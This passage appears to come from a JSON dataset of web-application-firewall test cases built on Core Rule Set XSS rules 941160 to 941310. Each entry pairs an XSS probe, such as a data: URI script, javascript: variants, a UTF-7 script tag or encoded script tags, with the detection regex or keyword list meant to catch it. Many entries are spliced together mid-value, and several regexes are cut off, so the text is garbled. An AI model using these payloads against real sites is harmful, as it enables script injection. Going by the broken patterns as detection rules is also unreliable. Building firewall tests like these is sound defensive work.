], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "Detect XSS injection of 'dialog' tag ('A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?g|m[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?q[^0-9A-Z_a-z]*?u[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?e|e[^0-9A-Z_a-z]*?t[^0-9A-Z_a-z]*?a[^0-9>A-Z_a-z])|(?:l[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?k|o[^0-9A-Z_a-z]*?b[^0-9A-Z_a-z]*?j[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?c[^0-9A-Z_a-z]*?t|e[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?b[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?d|a[^0-9A-Z_a-z]*?(?:p[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?t|u[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?o|n[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?t[^0-9A-Z_a-z]*?e)|p[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m|i?[^0-9A-Z_a-z]*?f[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?e|b[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?s[^0-9A-Z_a-z]*?e|o[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?y|i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "Test with long event name to trigger 941160: onwebkitplaybacktargetavailabilitychanged" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\W|^)(?:javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]|[\\s\\S]*?(?:\\bname\\b|\\x5c[ux]\\d))|data:(?:(?:[a-z]\\w+/\\w[\\w+-]+\\w)?[;,]|[\\s\\S]*?;[\\s\\S]*?\\b(?:base64|charset=)|[\\s\\S]*?,[\\s\\S]*?<[\\s\\S]*?\\w[\\s\\S]*?>))|@\\W*?i\\W*?m\\W*?p\\W*?o\\W*?r\\W*?t\\W*?(?:/\\*[\\s\\S]*?)?(?:[\\\"']|\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\()|[^-]*?-\\W*?m\\W*?o\\W*?z\\W*?-\\W*?b\\W*?i\\W*?n\\W*?d\\W*?i\\W*?n\\W*?g[^:]*?:\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\(", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941170", "test_description": "XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=javascript:/*-->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\W|^)(?:javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]|[\\s\\S]*?(?:\\bname\\b|\\x5c[ux]\\d))|data:(?:(?:[a-z]\\w+/\\w[\\w+-]+\\w)?[;,]|[\\s\\S]*?;[\\s\\S]*?\\b(?:base64|charset=)|[\\s\\S]*?,[\\s\\S]*?<[\\s\\S]*?\\w[\\s\\S]*?>))|@\\W*?i\\W*?m\\W*?p\\W*?o\\W*?r\\W*?t\\W*?(?:/\\*[\\s\\S]*?)?(?:[\\\"']|\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\()|[^-]*?-\\W*?m\\W*?o\\W*?z\\W*?-\\W*?b\\W*?i\\W*?n\\W*?d\\W*?i\\W*?n\\W*?g[^:]*?:\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\(", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941170", "test_description": "XSS test based on portswigger XSS cheatsheet" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=javascript:%20%5C%5C%5C%5Ct" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\W|^)(?:javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]|[\\s\\S]*?(?:\\bname\\b|\\x5c[ux]\\d))|data:(?:(?:[a-z]\\w+/\\w[\\w+-]+\\w)?[;,]|[\\s\\S]*?;[\\s\\S]*?\\b(?:base64|charset=)|[\\s\\S]*?,[\\s\\S]*?<[\\s\\S]*?\\w[\\s\\S]*?>))|@\\W*?i\\W*?m\\W*?p\\W*?o\\W*?r\\W*?t\\W*?(?:/\\*[\\s\\S]*?)?(?:[\\\"']|\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\()|[^-]*?-\\W*?m\\W*?o\\W*?z\\W*?-\\W*?b\\W*?i\\W*?n\\W*?d\\W*?i\\W*?n\\W*?g[^:]*?:\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\(", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941170", "test_description": "Test first backslash match (javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]) with: javascript: \\\\\\\\t (extra backslashes to work around rule transformations)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=javascript:%5C%5C%5C%5Cu0020" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\W|^)(?:javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]|[\\s\\S]*?(?:\\bname\\b|\\x5c[ux]\\d))|data:(?:(?:[a-z]\\w+/\\w[\\w+-]+\\w)?[;,]|[\\s\\S]*?;[\\s\\S]*?\\b(?:base64|charset=)|[\\s\\S]*?,[\\s\\S]*?<[\\s\\S]*?\\w[\\s\\S]*?>))|@\\W*?i\\W*?m\\W*?p\\W*?o\\W*?r\\W*?t\\W*?(?:/\\*[\\s\\S]*?)?(?:[\\\"']|\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\()|[^-]*?-\\W*?m\\W*?o\\W*?z\\W*?-\\W*?b\\W*?i\\W*?n\\W*?d\\W*?i\\W*?n\\W*?g[^:]*?:\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\(", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941170", "test_description": "Test second backslash match (javascript:(?:...|\\x5c[ux]\\d)) with: javascript:\\\\\\\\u0020 (extra backslashes to work around rule transformations)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=%20data%3A%20%2C%20%3Cx%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\W|^)(?:javascript:(?:[\\s\\S]+[=\\x5c\\(\\[\\.<]|[\\s\\S]*?(?:\\bname\\b|\\x5c[ux]\\d))|data:(?:(?:[a-z]\\w+/\\w[\\w+-]+\\w)?[;,]|[\\s\\S]*?;[\\s\\S]*?\\b(?:base64|charset=)|[\\s\\S]*?,[\\s\\S]*?<[\\s\\S]*?\\w[\\s\\S]*?>))|@\\W*?i\\W*?m\\W*?p\\W*?o\\W*?r\\W*?t\\W*?(?:/\\*[\\s\\S]*?)?(?:[\\\"']|\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\()|[^-]*?-\\W*?m\\W*?o\\W*?z\\W*?-\\W*?b\\W*?i\\W*?n\\W*?d\\W*?i\\W*?n\\W*?g[^:]*?:\\W*?u\\W*?r\\W*?l[\\s\\S]*?\\(", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941170", "test_description": "Status Page Test - data: , as GET variable" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "941180-1=window.location" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pm", "argument": "document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding " } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pm", "argument": "document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding , present in stricter sibling 941181, ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\"-->'-->`-->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pm", "argument": "document.cookie document.domain document.querySelector document.body.appendChild document.write .parentnode .innerhtml window.location -moz-binding XSS" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:v|&#(?:0*(?:118|86)|x0*[57]6);)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:b|&#(?:0*(?:98|66)|x0*[46]2);)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:s|&#(?:0*(?:115|83)|x0*[57]3);)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:c|&#(?:x0*[46]3|0*(?:99|67));)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:r|&#(?:x0*[57]2|0*(?:114|82));)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:i|&#(?:x0*[46]9|0*(?:105|73));)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:p|&#(?:x0*[57]0|0*(?:112|80));)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?:t|&#(?:x0*[57]4|0*(?:116|84));)(?:[\\t\\n\\r]|&(?:#(?:0*(?:9|1[03])|x0*[AD]);?|(?:tab|newline);))*(?::|&(?:#(?:0*58|x0*3A);?|colon;)).", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941220", "test_description": "XSS test based on portswigger XSS cheatsheet" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i: +ADw-script+AD4-alert(1)+ADw-/script+AD4-" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)xss" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)&var=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941290", "test_description": "IE XSS Filters" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941290", "test_description": "XSS test based on portswigger XSS cheatsheet" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%3cOBJECT%20data%20%3d=sdffdsa" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Positive test using single byte" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xc2\\xbcscript\\xc2\\xbealert(\\xc2\\xa2XSS\\xc2\\xa2)\\xc2\\xbc/script\\xc2\\xbe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Positive test using utf-8" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xd0\\xbcscript\\xd0\\xbealert(\\xc2\\xa2XSS\\xc2\\xa2)\\xd0\\xbc/script\\xd0\\xbe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Positive test using alternate utf-8" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": 